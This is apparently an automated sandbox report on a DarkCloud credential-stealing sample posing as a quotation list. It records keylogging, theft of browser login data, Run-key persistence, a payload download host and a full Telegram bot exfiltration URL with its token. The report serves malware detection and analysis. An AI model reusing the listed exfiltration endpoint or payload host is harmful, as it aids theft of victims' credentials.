Source: InstallUtil.exe, 00000007.00000002.2533776303.0000000003D67000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.0000000001189000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:11:40]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0:46]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:11:05]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:11:16]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:10:57]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2529637627.0000000001189000.00000004.00000020.00020000.00000000.sdmp, KeyDataHnoYsPNF.txt.7.dr	Binary or memory string: [03:11:24]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2533776303.0000000003D67000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:11:57]<<Program Manager>>9
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:11:07]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:11:57]<<Program Manager>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003D01000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:10:23]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:10:58]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:11:15]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003D01000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:10:22]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2529637627.0000000001209000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :11]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:10:40]<<Program Manager>>
Source: KeyDataKUBssLSi.txt.7.dr	Binary or memory string: [03:11:32]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2533776303.0000000003D67000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.0000000001189000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:11:59]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2529637627.0000000001189000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managertxt200C2csz4
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003D01000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:10:14]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2529637627.0000000001189000.00000004.00000020.00020000.00000000.sdmp, KeyDataOPVBvAcw.txt.7.dr	Binary or memory string: [03:11:41]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003D01000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:10:31]<<Program Manager>>

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Queries volume information: C:\Users\user\Desktop\Lista de cotizaciones.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Queries volume information: C:\Users\user\AppData\Roaming\Method.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe VolumeInformation

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DarkCloud

Source: Yara match	File source: 10.2.Method.exe.3df6ad8.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Method.exe.3df6ad8.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.InstallUtil.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.1534743132.0000000000751000.00000004.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1557861462.0000000003EBF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1374584452.00000000039B2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1557861462.0000000003DF6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1374584452.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Lista de cotizaciones.exe PID: 7548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Method.exe PID: 5976, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7536, type: MEMORYSTR

Yara detected Generic Dropper

Source: Yara match	File source: Process Memory Space: Lista de cotizaciones.exe PID: 7548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Method.exe PID: 5976, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Remote Access Functionality

Yara detected DarkCloud

Source: Yara match	File source: 10.2.Method.exe.3df6ad8.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Method.exe.3df6ad8.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.InstallUtil.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.1534743132.0000000000751000.00000004.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1557861462.0000000003EBF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1374584452.00000000039B2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1557861462.0000000003DF6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1374584452.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Lista de cotizaciones.exe PID: 7548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Method.exe PID: 5976, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7536, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	1 Windows Management Instrumentation	111 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	212 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Data Obfuscation	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Scheduled Task/Job	1 Scheduled Task/Job	2 Obfuscated Files or Information	Security Account Manager	21 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	21 Registry Run Keys / Startup Folder	21 Registry Run Keys / Startup Folder	2 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	11 Encrypted Channel	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	14 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	212 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Lista de cotizaciones.exe	39%	ReversingLabs	Win32.Trojan.Leonem
Lista de cotizaciones.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\Method.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Method.exe	39%	ReversingLabs	Win32.Trojan.Leonem
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://nexoproducciones.cl/Fhpnud.pdf	0%	Avira URL Cloud	safe
http://nexoproducciones.cl	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
showip.net	162.55.60.2	true	false	high
nexoproducciones.cl	190.107.177.80	true	false	high
api.telegram.org	149.154.167.220	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://nexoproducciones.cl/Fhpnud.pdf	true	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.m	InstallUtil.exe, 00000007.00000002.2533776303.0000000003D67000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-neti	Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1385276040.0000000006760000.00000004.08000000.00040000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1360864673.0000000002742000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1385276040.0000000006760000.00000004.08000000.00040000.00000000.sdmp, Method.exe, 0000000A.00000002.1537972615.0000000002B75000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546	InstallUtil.exe, 00000007.00000002.2529637627.00000000011C8000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.0000000001209000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1385276040.0000000006760000.00000004.08000000.00040000.00000000.sdmp, Method.exe, 0000000A.00000002.1565214848.0000000007856000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	Lista de cotizaciones.exe, 00000001.00000002.1374584452.00000000039B2000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1557861462.0000000003EBF000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1557861462.0000000003DF6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000D.00000002.1534743132.0000000000751000.00000004.00000400.00020000.00000000.sdmp	false		high
https://api.telegram.org/m	InstallUtil.exe, 00000007.00000002.2529637627.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1385276040.0000000006760000.00000004.08000000.00040000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1385276040.0000000006760000.00000004.08000000.00040000.00000000.sdmp	false		high
https://api.telegram.org/	InstallUtil.exe, 00000007.00000002.2533776303.0000000003D67000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/s	InstallUtil.exe, 00000007.00000002.2533776303.0000000003D67000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nexoproducciones.cl	Lista de cotizaciones.exe, 00000001.00000002.1360864673.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1537972615.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://api.telegram.org/t	InstallUtil.exe, 00000007.00000002.2529637627.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1385276040.0000000006760000.00000004.08000000.00040000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Lista de cotizaciones.exe, 00000001.00000002.1360864673.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1537972615.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://showip.net/	InstallUtil.exe, 00000007.00000002.2529637627.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
190.107.177.80	nexoproducciones.cl	Chile	265831	SOCCOMERCIALWIRENETCHILELTDACL	false
162.55.60.2	showip.net	United States	35893	ACPCA	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1556292
Start date and time:	2024-11-15 09:09:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Lista de cotizaciones.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@13/27@3/3
EGA Information:	Successful, ratio: 20%
HCA Information:	Successful, ratio: 93% Number of executed functions: 297 Number of non-executed functions: 13
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target InstallUtil.exe, PID 8124 because there are no executed function
Execution Graph export aborted for target Lista de cotizaciones.exe, PID 7548 because it is empty
Execution Graph export aborted for target boost.exe, PID 1384 because it is empty
Execution Graph export aborted for target boost.exe, PID 7624 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Lista de cotizaciones.exe

Simulations

Behavior and APIs

Time	Type	Description
03:09:59	API Interceptor	56x Sleep call for process: Lista de cotizaciones.exe modified
03:10:17	API Interceptor	57x Sleep call for process: Method.exe modified
03:10:48	API Interceptor	8906x Sleep call for process: InstallUtil.exe modified
09:10:07	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Method.vbs
09:10:25	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce abacuses C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe
09:10:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce abacuses C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	CloudServices_Slayed.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	CloudServices.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	INQ02010391.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Company Profile_pdf.exe	Get hash	malicious	GuLoader	Browse
	Ziraat#U00a0Bankas#U0131 swift mesaji_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	dekont_7083037 T#U00dcRK#U0130YE HALK BANKASI A.#U015e..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Transaction_copy.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	RFQ for WIKA_pdf.exe	Get hash	malicious	GuLoader	Browse
	Company Profile_pdf.exe	Get hash	malicious	GuLoader	Browse
	DHL Delivery Invoice.com.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
190.107.177.80	New PO678900__pif.exe	Get hash	malicious	DarkCloud	Browse	nexoproducciones.cl/Malycrallk.mp3
	Order Catalog_____________pdf.exe	Get hash	malicious	DarkCloud	Browse	nexoproducciones.cl/Mxkanmh.mp3
	Eprdtdrqbr.exe	Get hash	malicious	Snake Keylogger	Browse	nexoproducciones.cl/Idemteontz.mp4
	N#U00b0 DE PEDIDO DE ABARROTES DE NOVIEMBRE 2024.exe	Get hash	malicious	Snake Keylogger	Browse	nexoproducciones.cl/Nzzxm.pdf
	Se adjuntan los documentos de env#U00edo originales DHL.exe	Get hash	malicious	DarkCloud	Browse	nexoproducciones.cl/Qqazufj.mp4
162.55.60.2	New Order___________pdf.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	Payment Receipt Attached PDF.exe	Get hash	malicious	GuLoader	Browse	showip.net/
	Payment Receipt Attached PDF.exe	Get hash	malicious	GuLoader	Browse	showip.net/
	FCGF98760900.bat.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	DHL Parcel-CBM is 3.1- Total weight is 435kgs.==WOE1910053_____________________________.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	7rxE4s9EEG.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	fS5TEjVseD.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	Nvojocm.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	Documentos_xlsm.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	SecuriteInfo.com.Win32.DropperX-gen.6684.1882.exe	Get hash	malicious	DarkCloud	Browse	showip.net/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
showip.net	New Order___________pdf.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	Payment Receipt Attached PDF.exe	Get hash	malicious	GuLoader	Browse	162.55.60.2
	Payment Receipt Attached PDF.exe	Get hash	malicious	GuLoader	Browse	162.55.60.2
	FCGF98760900.bat.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	DHL Parcel-CBM is 3.1- Total weight is 435kgs.==WOE1910053_____________________________.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	7rxE4s9EEG.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	fS5TEjVseD.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	Nvojocm.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	Documentos_xlsm.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	SecuriteInfo.com.Win32.DropperX-gen.6684.1882.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
nexoproducciones.cl	New Order___________pdf.exe	Get hash	malicious	DarkCloud	Browse	190.107.177.80
	Nvojocm.exe	Get hash	malicious	DarkCloud	Browse	190.107.177.80
	Documentos_xlsm.exe	Get hash	malicious	DarkCloud	Browse	190.107.177.80
	SecuriteInfo.com.Win32.DropperX-gen.6684.1882.exe	Get hash	malicious	DarkCloud	Browse	190.107.177.80
	New PO678900__pif.exe	Get hash	malicious	DarkCloud	Browse	190.107.177.80
	Nuevo pedido URGENTE RFQ34543-23.exe	Get hash	malicious	DarkCloud	Browse	190.107.177.80
	Detalles de la factura_________________________pdf.exe	Get hash	malicious	Snake Keylogger	Browse	190.107.177.80
	Order Catalog_____________pdf.exe	Get hash	malicious	DarkCloud	Browse	190.107.177.80
	Gu#U00eda de carga de DHL_pdf.exe	Get hash	malicious	Snake Keylogger	Browse	190.107.177.80
	Eprdtdrqbr.exe	Get hash	malicious	Snake Keylogger	Browse	190.107.177.80
api.telegram.org	CloudServices_Slayed.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	CloudServices.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	INQ02010391.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Company Profile_pdf.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	Ziraat#U00a0Bankas#U0131 swift mesaji_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	dekont_7083037 T#U00dcRK#U0130YE HALK BANKASI A.#U015e..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Transaction_copy.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RFQ for WIKA_pdf.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	Company Profile_pdf.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	DHL Delivery Invoice.com.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	CloudServices_Slayed.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
